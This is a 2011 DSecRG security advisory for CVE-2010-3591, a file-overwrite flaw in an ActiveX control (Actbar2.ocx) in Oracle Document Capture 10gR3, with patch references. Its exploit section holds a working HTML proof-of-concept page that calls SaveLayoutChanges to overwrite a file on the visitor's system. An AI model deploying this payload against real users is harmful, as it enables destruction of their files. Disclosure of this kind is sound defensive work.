ActiveX components contain insecure methods.
Digital Security Research Group [DSecRG] Advisory #DSECRG-00153
Application: Oracle Document Capture
Versions Affected: Release 10gR3
Vendor URL: www.oracle.com
Bugs: insecure method, File overwriting
Exploits: YES
Reported: 22.03.2010
Vendor response: 31.03.2010
Date of Public Advisory:24.01.2011
CVE-number: CVE-2010-3591
Author: Evdokimov Dmitriy from Digital Security Research Group
[DSecRG] (research [at] dsecrg [dot] com)
Description
Oracle Document Capture contains ActiveX components that contains insecure methods.
Insecure method in Actbar2.ocx
Details
Oracle Document Capture contains ActiveX component ActiveBar2Library (Actbar2.ocx)
Lib GUID: {4932CEF1-2CAA-11D2-A165-0060081C43D9}
which is contains insecure method "SaveLayoutChanges" that can overwrite any
unhidden file in system.
Class ActiveBar2
GUID: {4932CEF4-2CAA-11D2-A165-0060081C43D9}
Number of Interfaces: 1
Default Interface: IActiveBar2
RegKey Safe for Script: True
RegKey Safe for Init: True
KillBitSet: False
Exploit
Attacker can construct html page which call vulnerable function
"SaveLayoutChanges" from ActiveX component Actbar2.ocx
Example:
<HTML>
<HEAD>
<TITLE>DSecRG</TITLE>
</HEAD>
<BODY>
<OBJECT id='eds'
classid='clsid:4932CEF4-2CAA-11D2-A165-0060081C43D9'></OBJECT>
<SCRIPT>
function Exploit(){
eds.SaveLayoutChanges("C:\\31337.txt",1);
}
Exploit();
</SCRIPT>
</BODY>
</HTML>
References
http://dsecrg.com/pages/vul/show.php?id=304
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html
Fix Information
Information was published in CPU Jan 2011.
All customers can download CPU patches following instructions from:
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html
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Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com
http://www.erpscan.com
Polyakov Alexandr. PCI QSA,PA-QSA
CTO Digital Security
Head of DSecRG
DIGITAL SECURITY
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